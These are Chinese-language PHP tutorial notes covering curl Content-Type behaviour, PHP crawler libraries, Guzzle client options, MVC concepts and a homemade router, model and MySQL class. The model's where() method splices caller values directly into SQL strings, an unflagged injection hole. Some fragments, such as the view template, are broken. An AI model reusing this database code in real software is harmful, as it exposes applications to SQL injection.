2、不设置Content-Type: application/json,传递json数据参数时,传递file_get_contents('php://input')可以获取到数据,$_FILES获取不到,$_POST获取到的是["{"name":"xp","age":"18","sex":"男"}" => ""]
3、设置Content-Type: application/json,传递数组参数时,获取不到参数
curl 多图上传时传递的数组要加key 只有当Content-Type:application/x-www-form-urlencoded时php://input和$_POST都有数据; 当Content-Type:multipart/form-data时php://input获取不到数据,$_FILES可以获取上传图片的信息,$_POST也有数据; 当Content-Type:application/json并且传递的是json数据时,php://input可以正常获取json数据,$_POST获取不到; 当Content-Type:text/xml php://input可以正常获取xml 数据,$_POST获取不到发送文件到第三方,发送非二进制文件流发送二进制流,上传文件,二进制文件流的形式php爬虫爬取5118关键词
GuzzleHttp
php爬虫框架盘点
Goutte
Goutte库提供有关如何使用PHP抓取内容的出色支持。 基于Symfony框架,提供了API来抓取网站并从HTML/XML响应中抓取数据,它是免费开源的。 基于OOP的编程思想,非常适合大型项目的爬虫,同时它有着还不错的解析速度
simplehtmldom
这是一款html解析框架,提供类似于jquery的api,使得操作元素获取元素非常的方便,缺点就是因为需要加载和分析大量dom树结构,因此占用内存空间较大,同时解析速度也不是很快,不过它的使用便捷性是其它框架无法比拟的。 如果要抓取一个少量的数据,那么它很适合
htmlSQL
这是一个非常有趣的php框架,通过这个框架可以使用类似sql的语句来分析网页中的节点。 通过这个库可以不用写复杂的函数和正则表达式就可以获取到任意想要的节点。 它提供了相对较快的解析,但是功能有限。缺点就是这个库已经不在维护了,不过使用它可能会对爬虫理念有所提升。
Buzz
一个非常轻量级的爬虫库,类似于一个浏览器,可以非常方便地操作cookie,设置请求头。 拥有非常完善的测试文件,因此可以安心无忧地使用它。此外还支持http2的server push,可以更快速的接收内容。
request
参考了python request的所有精华,让它也变得非常优雅高效。 通过请求可以发送HEAD,GET,POST,PUT,DELETE和PATCH HTTP请求。借助请求可以添加标头,表单数据,多部分文件和带有简单数组的参数,并以相同的方式访问响应数据。
querylist
使用类似jQuery选择器来做采集,告别复杂的正则表达式,可以非常方便的操作DOM,具有Http网络操作能力、乱码解决能力、内容过滤能力以及可扩展能力;
可以轻松实现诸如:模拟登陆、伪造浏览器、HTTP代理等意复杂的网络请求;拥有丰富的插件,支持多线程采集及使用PhantomJS采集Js动态渲染的页面。
snoopy
Snoopy是一个php类,用来模拟浏览器的功能,可以获取网页内容发送表单,可以用来开发一些采集程序。封装了很多常用且实用的功能,比如获取全部连接,获取全部纯文本内容等,它的表单模拟是它的一大亮点。
phpspider
国人开发的php爬虫框架,曾用它爬取了知乎的百万用户,执行效率上还是非常不错的,此外提供了一个非常好用的命令行工具,通过工具可以非常方便的部署和查看爬虫效果和进度。
Guzzle
严格意义来讲,它并不是一个爬虫框架,它是要给http请求库,它封装了http请求,它具有一个简单的操作方式,可帮助构建查询字符串,POST请求,流式传输大型上传文件,流式传输大型下载文件,使用HTTP cookie,上传JSON数据等。 它可以在同一接口的帮助下发送同步和异步请求。 它利用PSR-7接口处理请求,响应和流。可以在Guzzle中使用其他PSR-7兼容的库。 它可以抽象出底层的HTTP传输,使您能够编写环境并传输不可知代码。即对cURL,PHP流,套接字或非阻塞事件循环没有硬性依赖。
GuzzleHttp
https://guzzle-cn.readthedocs.io/zh_CN/latest/overview.html#installation
composer require guzzlehttp/guzzle:~6.0
"guzzlehttp/guzzle": "~6.0"
【 创建客户端 】
use GuzzleHttp\Client;
$client = new Client([
'base_uri' => 'http://httpbin.org', // Base URI is used with relative requests
'timeout' => 2.0, // You can set any number of default request options.
]);
Client对象的方法发送请求:
$response = $client->get('http://httpbin.org/get');
$response = $client->post('http://httpbin.org/post');
$response = $client->delete('http://httpbin.org/delete');
$response = $client->head('http://httpbin.org/get');
$response = $client->options('http://httpbin.org/get');
$response = $client->patch('http://httpbin.org/patch');
$response = $client->put('http://httpbin.org/put');
【 异步请求 】
$promise = $client->getAsync('http://httpbin.org/get');
$promise = $client->deleteAsync('http://httpbin.org/delete');
$promise = $client->headAsync('http://httpbin.org/get');
$promise = $client->optionsAsync('http://httpbin.org/get');
$promise = $client->patchAsync('http://httpbin.org/patch');
$promise = $client->postAsync('http://httpbin.org/post');
$promise = $client->putAsync('http://httpbin.org/put');
这些方法返回了Promise对象,该对象实现了由Guzzle promises library提供的Promises/A+ spec,这意味着可以使用then()来调用返回值,成功使用Psr\Http\Message\ResponseInterface处理器,否则抛出一个异常
promise基本原理是一系列回调函数入队列,而出队列的函数注册到php脚本结束是运行的register_shutdown_function函数中。 因此,所有的promise都是入队列,脚本执行结束再执行;如果脚本执行结束之前,有E_ERROR级别错误,promise不会执行 使用场景 1.模拟异步操作(Guzzle就是很好的例子) 2.和执行上下文无关(例如发邮件、记日志等) PHP中请求一个HTTP服务,一般都是阻塞的, 如果有多个HTTP请求 , 需要串行的执行 , 一个接一个的请求 , 可以使用guzzle php这个类库来异步的同时发送多个HTTP请求 . 结果的响应时间取决于最长的那个请求的响应时间 在PHP开发中主要是面向过程式的开发方式,但请求第三方接口时有时并不需要等待第三方接口返回结果才继续执行。如用户购买成功时需要向短信接口发送一个post请求,由短信平台发送一条短信给用户,告知用户支付成功了,因为这类提醒消息属额外的附加功能,并不需要在用户支付时知道有没有发送提醒成功,这时候可以使用Guzzle的异步请求功能【 并发请求 】
发送多线程异步POST请求 很多场合如双十一快到了,可以做一些回馈老用户的活动,这是就需要批量的向老用户推送一条模板消息,告诉用户参与哪些活动的,这时候就需要用到多线程异步请求微信公众号接口【 使用响应 】
使用getBody方法可以获取响应的主体部分(body),主体可以当成一个字符串或流对象使用
$body = $response->getBody(); // Implicitly cast the body to a string and echo it
echo $body;
$stringBody = (string) $body; // Explicitly cast the body to a string
$tenBytes = $body->read(10); // Read 10 bytes from the body
$remainingBytes = $body->getContents(); // Read the remaining contents of the body as a string
【 请求选项 】
1、查询字符串参数
$response = $client->request('GET', 'http://httpbin.org?foo=bar');
$response = $client->request('GET', 'http://httpbin.org', ['query' => 'foo=bar']);
$response = $client->request('GET', 'http://httpbin.org', ['query' => ['foo' => 'bar']]);
2、headers
创建Client时头信息可以作为默认选项添加,当头信息使用默认选项时,它们只能在请求没有包含特殊头信息的时候生效,这包括了Client的send()与sendAsync()方法,及Client创建的请求(比如request()与requestAsync())
$client = new GuzzleHttp\Client(['headers' => ['X-Foo' => 'Bar']]);
$client->request('GET', '/get'); // Will send a request with the X-Foo header
$client->request('GET', '/get', ['headers' => ['X-Foo' => 'test']); // Sets the X-Foo header to "test", prevents the default header from being applied
$client->request('GET', '/get', ['headers' => null]); // Will disable adding in default headers.
// Will not overwrite the X-Foo header because it is in the message.
use GuzzleHttp\Psr7\Request;
$request = new Request('GET', 'http://foo.com', ['X-Foo' => 'test']);
$client->send($request);
// Will overwrite the X-Foo header with the request option provided in the send method.
use GuzzleHttp\Psr7\Request;
$request = new Request('GET', 'http://foo.com', ['X-Foo' => 'test']);
$client->send($request, ['headers' => ['X-Foo' => 'overwrite']]);
auth
传入HTTP认证参数的数组来使用请求,该数组索引[0]为用户名、索引[1]为密码,索引[2]为可选的内置认证类型。传入null进入请求认证。
类型array/string/null,默认值None
内置认证类型如下:
1、basic
在Authorization头信息使用HTTP基础认证(如果没有指定的话为默认设置)
$client->request('GET', '/get', ['auth' => ['username', 'password']]);
2、digest
使用摘要式认证 (必须被HTTP处理器支持)。
$client->request('GET', '/get', [ 'auth' => ['username', 'password', 'digest'] ]);
connect_timeout
表示等待服务器响应超时的最大值,使用0将无限等待(默认行为),类型float
$client->request('GET', '/delay/5', ['connect_timeout' => 3.14]);
timeout
请求返回响应超时的秒数。使用0无限期的等待(默认行为)。类型float,默认值0
$client->request('GET', '/delay/5', ['timeout' => 3.14]);
// PHP Fatal error: Uncaught exception 'GuzzleHttp\Exception\RequestException'
debug
设置成true或fopen()返回的流来启用调试输出发送请求的处理器,比如当使用cURL传输请求,cURL的CURLOPT_VERBOSE的冗长将会发出,当使用PHP流,流处理的提示将会发生。 如果设置为true输出到PHP标准输出文件,如果提供了PHP流将会输出到流
$client->request('GET', '/get', ['debug' => true]);
decode_content
声明是否自动解码Content-Encoding响应(gzip,deflate等),该选项可以用来控制Content-Encoding如何响应主体的,默认decode_content设置为true表示Guzzle将自动解码gzip,deflate等响应。当设置成false,响应的主体将不会被解码,意味着字节将毫无变化的通过处理器。
// Request gzipped data, but do not decode it while downloading
$client->request('GET', '/foo.js', [
'headers' => ['Accept-Encoding' => 'gzip'],
'decode_content' => false
]);
当设置成字符串,响应的字节将被解码,提供decode_content选项的字符串将作为请求的Accept-Encoding报文头
// Pass "gzip" as the Accept-Encoding header.
$client->request('GET', '/foo.js', ['decode_content' => 'gzip']);
delay
发送请求前延迟的毫秒数值,类型integer/float,默认值null
body
上传数据,发送一个包含数据流的请求,将body请求参数设置成一个字符串、fopen返回的资源或一个Psr\Http\Message\StreamInterface的实例
$r = $client->request('POST', 'http://httpbin.org/post', ['body' => 'raw data' ]);
$r = $client->request('POST', 'http://httpbin.org/post', ['body' => fopen('/path/to/file', 'r')]);
// Use the stream_for() function to create a PSR-7 stream
$r = $client->request('POST', 'http://httpbin.org/post', ['body' => \GuzzleHttp\Psr7\stream_for('hello!')]);
json
json选项用来轻松将JSON数据当成主体上传,如果没有设置Content-Type头信息的时候会设置成application/json
上传JSON数据及设置合适的头信息可以使用json请求参数这个简单的方式:
$r = $client->request('PUT', 'http://httpbin.org/put', [ 'json' => ['foo' => 'bar'] ]);
form_params
POST/表单请求,发送application/x-www-form-urlencoded POST请求需要传入数组参数,数组内指定POST的字段
关联数组由表单字段键值对构成,每个字段值是一个字符串或包含字符串元素的数组。当没有准备"Content-Type"头时将设置为"application/x-www-form-urlencoded"
multipart 发送表单文件,multipart的值是一个关联数组,每个元素包含以下键值对: name: (string, required) 表单字段名称 contents: (StreamInterface/resource/string, required) 表单元素中要使用的数据 headers: (array) 可选的表单元素要使用的键值对数组 filename: (string) 可选的作为要发送的文件名称
verify
请求时验证SSL证书行为。
设置成true启用SSL证书验证,默认使用操作系统提供的CA包。
设置成false禁用证书验证(这是不安全的)
设置成字符串启用验证,并使用该字符串作为自定义证书CA包的路径。
类型bool/string,默认值true
$client->request('GET', '/', ['verify' => true]); // Use the system's CA bundle (默认设置)
$client->request('GET', '/', ['verify' => '/path/to/cert.pem']); // Use a custom SSL certificate on disk
$client->request('GET', '/', ['verify' => false]); // Disable validation entirely (don't do this!)
并非所有的系统磁盘上都存在CA包,比如Windows和OS X并没有通用的本地CA包。当设置"verify"为true时,Guzzle将尽力在操作系统中找到合适的CA包,当使用cURL或PHP5.6以上版本的流时Guzzle将按以下顺序尝试查找CA包:
检查php.ini文件中是否设置了openssl.cafile
检查php.ini文件中是否设置了curl.cainfo
检查 /etc/pki/tls/certs/ca-bundle.crt 是否存在 (Red Hat, CentOS, Fedora; 由ca-certificates包提供)
检查 /etc/ssl/certs/ca-certificates.crt 是否存在 (Ubuntu, Debian; 由ca-certificates包提供)
检查 /usr/local/share/certs/ca-root-nss.crt 是否存在 (FreeBSD; 由ca_root_nss包提供)
检查 /usr/local/etc/openssl/cert.pem 是否存在 (OS X; 由homebrew提供)
检查 C:\windows\system32\curl-ca-bundle.crt 是否存在 (Windows)
检查 C:\windows\curl-ca-bundle.crt 是否存在 (Windows)
查询结果将缓存在内存,以便同一进程后续快速调用。而有些服务器如Apache每个请求都在独立的进程中,应考虑设置openssl.cafile环境变量指定到磁盘文件,以便整个过程都跳过
如果不需要特殊的证书包,可以使用Mozilla提供的通用CA包,你可以在 这里 下载(由cURL的维护者提供)。一旦磁盘有了CA包,可以设置PHP ini配置文件,指定该文件的路径到变量 openssl.cafile中,这样就可以在请求中省略"verify"参数
on_headers
回调函数,当响应的HTTP头信息被接收且主体部分还未开始下载的时候调用,类型callable
该回调接收Psr\Http\ResponseInterface对象。如果该回调抛出异常,与响应相关的Promise将会接收到GuzzleHttp\Exception\RequestException抛出的异常
在数据写入下游之前,应该需要知道接收到的头信息与状态码
on_stats 允许获取请求传输数据统计及处理器在底层传输的详情,on_stats是个回调,当处理器完成传输一个请求的时候被调用 该回调被调用请求传输数据统计、接收到响应,或遇到错误,包含发送请求数据时间的总量。类型callable,该回调接收GuzzleHttp\TransferStats对象sink 声明响应的主体部分将要保存的位置 类型:string (path to file on disk)、fopen() resource、Psr\Http\Message\StreamInterface,默认值:PHP temp stream $client->request('GET', '/stream/20', ['sink' => '/path/to/file']); // 传入字符串来指定将要保存响应主体内容的文件的路径: $client->request('GET', '/stream/20', ['sink' => fopen('/path/to/file', 'w')]); // 传入fopen()返回的资源将响应写入PHP流 传入Psr\Http\Message\StreamInterface对象将响应写入打开的PSR-7流 $resource = fopen('/path/to/file', 'w'); $stream = GuzzleHttp\Psr7\stream_for($resource); $client->request('GET', '/stream/20', ['save_to' => $stream]); stream 设置成true流响应,而非下载响应。类型bool,默认值false // Read bytes off of the stream until the end of the stream is reached $response = $client->request('GET', '/stream/20', ['stream' => true]); $body = $response->getBody(); while (!$body->eof()) { echo $body->read(1024); } 【 Cookies 】 Guzzle可以使用cookies请求参数为你维护一个cookie会话,当发送一个请求时cookies选项必须设置成GuzzleHttp\Cookie\CookieJarInterface的实例 // Use a specific cookie jar $jar = new \GuzzleHttp\Cookie\CookieJar; $r = $client->request('GET', 'http://httpbin.org/cookies', [ 'cookies' => $jar ]); You can set cookies to true in a client constructor if you would like to use a shared cookie jar for all requests. // Use a shared client cookie jar $client = new \GuzzleHttp\Client(['cookies' => true]); $r = $client->request('GET', 'http://httpbin.org/cookies'); 【 allow_redirects 】 Guzzle会自动重定向,可以使用allow_redirects请求参数来自定义重定向行为,默认true启用最大数量为5的重定向,false禁用重定向 传入一个包含max键名的关联数组来声明最大重定向次数,提供可选的strict键名来声明是否使用严格的RFC标准重定向(表示使用POST请求重定向POST请求vs大部分浏览器使用GET请求重定向POST请求) $response = $client->request('GET', 'http://github.com'); echo $response->getStatusCode(); // 200 $response = $client->request('GET', 'http://github.com', [ 'allow_redirects' => false ]); // 禁止重定向 echo $response->getStatusCode(); // 301 【 异常 】 请求传输过程中出现的错误Guzzle将会抛出异常。 在发送网络错误(连接超时、DNS错误等)时将会抛出GuzzleHttp\Exception\RequestException异常,该异常继承自GuzzleHttp\Exception\TransferException,捕获这个异常可以在传输请求过程中抛出异常。GuzzleHttp\Exception\ConnectException异常发生在网络错误时,该异常继承自GuzzleHttp\Exception\RequestException 如果http_errors请求参数设置成true,在400级别的错误的时候将会抛出GuzzleHttp\Exception\ClientException异常,该异常继承自GuzzleHttp\Exception\BadResponseException GuzzleHttp\Exception\BadResponseException继承自GuzzleHttp\Exception\RequestException 。如果http_errors请求参数设置成true,在500级别的错误的时候将会抛出GuzzleHttp\Exception\ServerException异常。该异常继承自GuzzleHttp\Exception\BadResponseException GuzzleHttp\Exception\TooManyRedirectsException异常发生在重定向次数过多时,该异常继承自GuzzleHttp\Exception\RequestException 上述所有异常均继承自GuzzleHttp\Exception\TransferException
mvc
【 MVC 】 软件中最核心最基本的是数据,所有代码都是围绕数据的产生、修改等变化,出现了业务逻辑,围绕着数据的显示出现了不同的界面 没有很好设计的代码常常就会出现数据层(持久层)和业务逻辑层还有界面代码耦合的情况。ORM等框架解耦合了业务逻辑和数据之间的耦合,业务逻辑不再关心底层数据如何存储和读取。所有数据呈现给业务逻辑层的就是一个个的对象,而MVC、MVP、MMVM用来解决业务逻辑和视图之间的耦合 MVC模式(Model-View-Controller)是软件工程中的一种软件架构模式,把软件系统分为三个基本部分: 模型Model、视图View和控制器Controller MVC是一种软件设计典范,用一种业务逻辑、数据、界面显示分离的方法组织代码,将业务逻辑聚集到一个部件里面,在改进和个性化定制界面及用户交互的同时不需要重新编写业务逻辑。其中M层处理数据,业务逻辑等;V层处理界面的显示结果;C层起到桥梁的作用,控制V层和M层通信以此来分离视图显示View和业务逻辑层Model MVC的目的是将M和V的实现代码分离,从而使同一个程序可以使用不同的表现形式,比如一批统计数据可以分别用柱状图、饼图来表示。C存在的目的则是确保M和V的同步,一旦M改变,V应该同步更新 其中Model就是作为数据管理者,View作为数据展示者,Controller作为数据加工者,Model和View又都是由Controller来根据业务需求调配,所以Controller还负担了一个数据流调配的功能 Model在MVC架构中起的作用非常重要,它才是UI业务逻辑真正的实现层,所以Model的实际上是Business Model(业务模型) 。而Controller仅仅起一个"桥梁"作用,它负责把View的请求转发给Model,再负责把Model处理结束的消息通知View。Controller就是一个消息分发器。Controller是用来解耦View和Model的,具体一点说就是为了让UI与逻辑分离(界面与代码分离) MVC中的同一个controller中的不同action它们表现为不同的url,它们的执行过程是互不相干的 MVC各部分的职能: •模型Model 管理大部分的业务逻辑和所有的数据库逻辑,模型提供了连接和操作数据库的抽象层 模型是应用程序的主体部分,所有业务数据或业务逻辑都应该写在这里,大多数情况是操作数据表的即与数据库交互 比如数据库存取操作、网络操作、复杂的算法、耗时的任务等都在model层处理 Model层是一个应用系统的核心部分,代表了该系统实际要实现的所有功能处理。比如: 在视频播放器中模型代表一个视频数据库及播放视频的程序函数代码;在拍照应用中模型代表一个照片数据库及看图片时的程序函数代码。在一个电话应用中Model代表一个电话号码簿以及拨打电话和发送短信的程序函数代码 •视图View 负责渲染数据,通过HTML方式呈现给用户;在PHP中负责输出、处理如何调用模板、需要的资源文件 视图是应用程序中负责生成用户界面的部分,是用户看到并与之交互的界面,也是在整个mvc架构中用户唯一可以看到的一层,接收用户的输入,显示处理结果 view是应用层中处理数据显示的部分,显示Model层的数据结果,View是软件应用传送给用户的一个反馈结果。它代表软件应用中的图形展示、声音播放、触觉反馈等职责。视图的根节点是应用程序的自身窗口。比如,视频播放器中可能包含当前播放的画面,这个画面就是一个视图。另一个视图组件可能是该视频的文字标题。再一个就是一些播放按键,比如Stop、Start、Pause等按钮 •控制器Controller 负责转发响应用户请求、准备数据及决定如何展示数据。在PHP中根据请求决定调用的视图及使用的数据 控制器工作就是根据用户的输入控制用户界面数据显示和更新model对象状态 控制器更重要的一种导航功能,响应z用户出发的相关事件,交给Model处理 controller处理用户交互问题,读取视图层的数据(eg.读取当前EditText控件的数据),控制用户输入(eg.EditText控件数据的输入),并向Model发送数据请求(eg.发起网络请求等)。Controller在软件应用负责对外部事件的响应,包括: 键盘敲击、屏幕触摸、电话呼入等。Controller实现了一个事件队列,每一个外部事件均在事件队列中被唯一标识,框架依次将事件从队列中移出并派发出去 MVC的主要作用是为了将代码分层、分类 软件系统通过对自身基本部份分离的同时,也赋予了各个基本部分应有的功能 MVC的主要目的是为了解决Web开发中分离开发与设计工作,使其工作相对独立 通过对复杂度的简化,使网站的目录结构更加清晰直观,网站更易维护与扩展简化,可以实现模块的复用 MVC简单流程例子: 用户打开网站并登陆–(访问) –>控制器登陆页面操作方法–>(屏幕输出) 视图登陆页面模板—(用户输入密码后) –>控制器调用模型登陆判断方法(连接数据库判断) —登陆成功/失败–>控制器调用视图"登陆成功/失败页面" 一个典型的Web MVC流程: 1.Controller截获用户发出的请求; 2.Controller调用Model完成状态的读写操作; 3.Controller把数据传递给View; 4.View渲染最终结果并呈献给用户
php中mvc的实现
第一步设置目录结构 虽然可能不会使用到设置的所有目录,但为了以后程序的可拓展性,在一开始就把程序目录设置好使非常必要的 •application – 应用代码 •config – 程序配置或数据库配置 •mvc - 框架核心目录(框架命名为mvc) •public – 静态文件 •runtime - 临时数据目录 •scripts – 命令行工具 mvcdemo ├─.htaccess ├─index.php ├─app │ ├─controllers │ │ ├─ItemController.php │ ├─models │ │ ├─ItemModel.php │ └─views │ ├─ footer.php │ ├─ header.php │ └─item │ ├─ add.php │ ├─ delete.php │ ├─ index.php │ ├─ update.php │ └─ view.php ├─config │ └─ config.php ├─mvc │ ├─ Core.php │ ├─ start.php │ ├─db │ │ ├─ Db.php │ └─lib │ ├─ Controller.php │ ├─ Model.php │ └─ View.php ├─public ├─runtime └─scripts 第二步代码规范 在目录设置好以后就要来规定一下代码的规范: 为了能在程序中更好的进行互相的调用 1.MySQL的表名需小写,如item、car 2.模块名(Models)需首字母大写,并在名称后添加"Model",如ItemModel、CarModel 3.控制器(Controllers)需首字母大写,并在名称中添加"Controller",如ItemController、CarController 4.视图(Views)部署结构为"控制器名/行为名",如item/view.php、car/buy.php 第三步重定向 将所有的数据请求都重定向到入口文件index.php,在项目根目录下新建一个.htaccess文件,文件内容如下 这样做的主要原因有: 1.程序有一个单一的入口; 2.除静态程序,其他所有程序都重定向到index.php上; 3.可以用来生成利于SEO的URL,想要更好的配置URL,后期可能会需要URL路由
第四步入口文件 在根目录下添加index.php文件
第五步配置文件和主请求 在index.php中对mvc文件夹下的start.php启动文件发起了请求config文件下的config.php文件,该文件的主要作用是设置一些程序的配置项及数据库连接等共用框架入口文件Core.php
主请求方法 callHook() yoursite.com/controllerName/actionName/queryString callHook()的作用就是从全局变量$_GET['url']中获取URL,并将其分割成三部分:controller、action和queryString 例如URL链接为: todo.com/item/view/1/first-item $controller 就是: item $action 就是: view 查询字符串Query String就是: array(1,first-item) 分割完成后会实例化一个新的控制器: $controller.'Controller',并调用其方法$action 第六步建立程序所需的基类,包括控制器、模型和视图的基类 新建控制器基类为Controller.class.php,控制器的主要功能就是总调度 Controller类实现所有控制器、模型和视图(View类)的通信,在执行析构函数时可以调用render()来显示视图(view)文件控制器基类模型基类为 Model.class.php
考虑到模型需要对数据库进行处理,所以单独建立一个数据库基类Db.php,模型基类继承Db.php 通过数据库基类创建了一个SQL抽象层,可以大大减少了数据库的编程工作。虽然PDO接口本来已经很简洁,但抽象之后框架的可灵活性更高视图基类 View.class.php
这样核心的PHP MVC框架就编写完成了,下面编写应用来测试框架功能mvcdemo/app/views/item/index.php
定制php框架
使用路由的原因
一、更优雅的url
www.mysite.com/blog.php?id=1 // GET方式获取参数容易被SQL注射攻击、维护性可读性差
www.mysite.com/blog/1
实现方式: url重写
在WEB项目的根目录下写一个.htaccess文件,让域名后面的字符串直接做为一个参数传入index.php,这样index.php就成为了整个WEB应用的中心,定义了"请求和响应的映射"
RewriteEngine On
RewriteRule ^([a-zA-Z0-9/]*)$ index.php/$1
二、单一入口机制的易维护性
1.路由数组
MVC的单一入口机制可以解决维护难的问题,路由就是一套映射,让一个URI对应一个方法
重定向和错误页面是WEB系统中最常见的,如果不用路由机制,可能要没完没了的重复写重定向或错误页面的显示或跳转代码,有了路由,只需要一句话就可以完成
$route=[
'' => 'IndexController@Index',
'blog' => 'BlogController@Show',
'blog/{id}/{name}' => 'BlogController@Show',
];
2.获取参数
unset销毁数组元素,不会重建索引,所以path_arr[0]是要调用的控制器类和方法名,path_arr[1]或path_arr[N]就作为传入方法的参数
if(isset($_SERVER['PATH_INFO'])){
$path = ltrim($_SERVER['PATH_INFO'],'/');
$path_arr = explode('/',$path);
}
if(isset($path_arr[0])){
$key = $path_arr[0];
unset($path_arr[0]);
}else{
$key='';
}
if(isset($path_arr[1])){
$parameters = array_values($path_arr);
}
if(isset($route[$key])){
$arr=explode('@',$route[$key]);
$controller=new $arr[0];
$action=$arr[1];
if(isset($parameters)){
$controller->$action($parameters);
}else{
$controller->$action();
}
}else{
require 'error.html.php';
}
三、减少资源的消耗
MVC采用了控制器controller来响应请求request,每次请求来时应该在指定的一个PHP文件中初始化这个控制器,而不是分别在不同的PHP文件中做初始化工作,这样可以减少资源的消耗
用不用控制器取决于业务复杂度。建议使用控制器,但对于业务很简单的页面跳转或检查,可以直接写在一个匿名函数里
方案1: 不用控制器
现在路由数组里添加一项,value不是一个字符串,而是一个匿名函数(Closure)
$route=[
'' => 'Index',
'blog' => 'BlogController@Show',
'blog/{id}/{name}' => 'BlogController@Show',
'f' => function(){echo 'hello';} // 匿名函数,并不是一个控制器类的方法
];
修改路由代码
if(isset($route[$key])){
if($route[$key] instanceof Closure){ // Closure类用于代表匿名函数的类,匿名函数会产生这个类型的对象
$route[$key]();
}else{
$arr=explode('@',$route[$key]);
$controller=new $arr[0];
$action=$arr[1];
if(isset($parameters)){
$controller->$action($parameters);
}else{
$controller->$action();
}
}
}else{
require 'error.html.php';
}
方案2: 使用控制器
$controller = new Controller;
$controller->show();
$model = new model;
$data = $model->get();
$view = new view;
$view->display($data);
每一次都require一个html页面是一件很不优雅的事情,所以写一个render函数
function render($path,array $args){
extract($args); // 从数组中将变量导入到当前的符号表
require($path);
}
每个URI对应了一个方法,但是常常遇到这样的问题:
class Controller{
public function __call($method,$args){
echo 'has not this function'.$method;
}
}
class IndexController extends Controller{
public function Index(){
echo __CLASS__;
for($i=1;$i<=20;++$i){
$data[$i]='content';
}
render('template.html.php',['data'=>$data]);
}
}
class BlogController extends Controller{
public function Show(){
echo __CLASS__;
for($i=1;$i<=10;++$i){
$data[$i]='blog';
}
render('template.html.php',['data'=>$data]);
}
}
控制器的写法
class IndexController extends Controller{
public function Index($content){
return '<html><head></head><body>'.$content.'</body></html>';
}
}
把界面的代码嵌入的写法是非常难以维护的,没有做好界面与业务逻辑的分离,所以需要使用视图
<html>
<head></head>
<body>
$value){ ?>
<div></div>
</body>
</html>
每一次调用控制器的某个方法时,render函数都会把参数以关联数组的形式传入,做到"业务逻辑"和"表现"的浅层次分离,但是这种分离还不是最好的,因为前端开发人员仍然需要面对甚至处理PHP代码,后端开发人员也有和前端人员沟通的成本
模型与数据库
WEB系统一定会和各种数据打交道,实际开发过程中往往一个类对应了关系数据库的一张或多张数据表,这里就会出现两个问题。
1.类和数据表,一方修改会导致另一方的修改,只要数据表结构不定下来,业务逻辑的开发几乎没法开工
2.获取数据时会牵涉很多SQL语句的拼接,如果数据结构变动,这些SQL需要改写
假如要开发一个博客系统,先设计两个Model和两张数据表
第一张数据表,表名是post,存储了博客文章
第二章数据表,表名是comment,存储了博客文章的评论
post和comment是一对多的关系,每一篇博客文章对应了多条评论,每一条评论只属于一篇文章
Model类的设计之前,先定义好三个接口
interface IModel{
public static function all();
public static function get($id);
public static function where($condition,$value);
}
定义Model类
class Model implements IModel{
public static $table;
public static $db;
public function __construct(){
self::$db=new MySQL();
}
public static function get($id){
return self::where('id',$id);
}
public static function where($condition,$value){
$sql=sprintf("select * from %s where %s='%s'",self::$table,$condition,$value);
return self::$db->Query($sql);
}
public static function all(){
$sql=sprintf("select * from %s",self::$table);
return self::$db->Query($sql);
}
}
Post类的定义
class PostModel extends Model{
public $postid;
public function __construct(){
parent::__construct();
parent::$table='post';
}
}
Comment类的定义
class CommentModel extends Model{
public $commentid;
public function __construct(){
parent::__construct();
parent::$table='comment';
}
}
在控制器的方法中写这样的代码来完成调用数据
$post=new PostModel();
$post::all();
$arr=$post::get('1');
var_dump($arr);
$comment=new CommentModel();
$arr=$comment::get('2');
var_dump($arr);
模型与数据库
先写一个DB抽象类,规定类需要实现的方法
abstract class DB{
private $IP;
private $user;
private $pwd;
private $name;
private $connection;
abstract public function Execute($sql);
abstract public function Query($sql);
}
Mysql类
class MySQL extends DB{
public function MySQL(){
// Config
$this->IP='*';
$this->ServerID='*';
$this->ServerPassword='*';
$this->DataBaseName='*';
$this->connection=mysqli_connect($this->IP,$this->ServerID,$this->ServerPassword,$this->DataBaseName);
if(!$this->connection){
die('Could not connect'.$this->connection);
}
mysqli_query($this->connection,'set names utf8');
}
public function Execute($sql){
return mysqli_query($this->connection,$sql);
}
public function Query($sql){
$result=mysqli_query($this->connection,$sql);
$arr=array();
while($row=mysqli_fetch_array($result)){
$arr[]=$row;
}
return $arr;
}
public function Close(){
mysqli_close($this->connection);
}
}
使用单例模式来保证DB类只有一次初始化,来节省硬件资源的开销
class MySQL extends DB{
private static $instance=null;
public static function getInstance(){
if(self::$instance==null){
self::$instance=new self;
}
return self::$instance;
}
public function MySQL(){
$this->IP='*';
$this->ServerID='*';
$this->ServerPassword='*';
$this->DataBaseName='*';
$this->connection=mysqli_connect($this->IP,$this->ServerID,$this->ServerPassword,$this->DataBaseName);
if(!$this->connection) die('Could not connect'.$this->connection);
mysqli_query($this->connection,'set names utf8');
}
public function Execute($sql){
return mysqli_query($this->connection,$sql);
}
public function Query($sql){
$result=mysqli_query($this->connection,$sql);
$arr=array();
while($row=mysqli_fetch_array($result)){
$arr[]=$row;
}
return $arr;
}
public function Close(){
mysqli_close($this->connection);
}
}
如果实例化一个MySQL类不再写$db=new MySQL();而是$db=MySQL::getInstance();
外观模式(Facade)
因为命名空间的问题,外观模式可以保证一个类的诸多方法看似是"一个类提供的",这里先设计一个简单的服务提供者类
class ServiceProvider{
public function Write($arg){
echo $arg;
}
}
定义一个Facade类
class Facade{
public static function getInstance($classname,$args){
return new $classname($args);
}
public static function getFacadeAccessor(){
//
}
public static function __callstatic($method,$args){
$instance=static::getInstance(static::getFacadeAccessor(),$args);
return call_user_func_array(array($instance,$method),$args);
}
}
再写一个Facade子类
class MyFacade extends Facade{
public static function getFacadeAccessor(){
return ServiceProvider::class;
}
}
抽象工厂(Factory)
抽象工厂有一个粗俗的理解: "对象与字符串的对应",也就是用一个字符串就可以创造一个类的对象。这种做法主要用在两种情况下是很方便的:
1.类名不稳定,会在项目中频繁修改
类名修改,很多时候并不是设计者的"命名洁癖"或"命名强迫症"导致的修改,而是在项目的不断迭代,发觉这个类设计的不合理。如果这个类用的不频繁,那么改个类名只要手工做一些小的修改即可,但是如果这个类通篇存在于代码之中(假如是数据库类),那修改工作量就大了,当然,我们也可以对代码文件使用"字符串替换",但是假如一个PHP写成的项目,PHP文件有几十上百个,这也是不合理的事。
2.类的设计者并不是类的使用者
类的设计者和类的使用者不是同一个开发人员,那么记忆一个字符串或许比记忆一个类名要生动的多。我们都学过计算机网络原理,都知道记忆一个域名要比记忆一个IP地址要生动的多,这就是DNS解决的问题。
因为抽象工厂很多教材都有涉及因此不再赘述,本文将介绍一下目前非常流行的服务容器。
